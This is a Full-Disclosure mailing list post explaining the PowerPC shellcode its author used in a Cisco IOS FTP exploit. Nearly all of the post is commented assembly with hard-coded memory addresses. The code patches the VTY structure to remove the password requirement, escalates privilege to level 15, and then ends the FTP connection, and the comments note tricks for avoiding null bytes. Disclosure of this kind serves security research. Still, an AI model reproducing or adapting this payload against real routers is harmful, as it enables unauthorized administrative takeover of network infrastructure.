[Full-disclosure] Cisco IOS shellcode explanation

Hi,

Lots of people have been asking for details about the slightly
unorthodox shellcode I used within the IOS FTP exploit, so here goes:

.equ vty_info, 0x8182da60   //contains a pointer to the VTY info structure
.equ terminate, 0x80e4086c

lis     4,vty_info@ha
la      4,vty_info@l(4)         
xor     8,8,8            //Clear r8
lwzx    7,4,8            //Get pointer to VTY info structure            
stw     8,372(7)         //Write zero to first offset to remove
                         //the requirement to enter a password
subi    8,8,1            //Set r8 to be 0xffffffff
addi    7,7,233          //Add second offset in two steps to
                         //avoid nulls in the shellcode
stw     8,1226(7)        //Write 0xffffffff to second offset to
                         //priv escalate to level 15
                         //(technically this should be 0xff100000
                         //but 0xffffffff works and is more efficient)
mr      3,8              //Use 0xffffffff as a parameter
                         //to pass to terminate()
lis     4,terminate@ha
la      4,terminate@l(4)        
mtctr   4
bctr                     //terminate "this process"
                         //(current connection to the FTP server)


Cheers,

Andy

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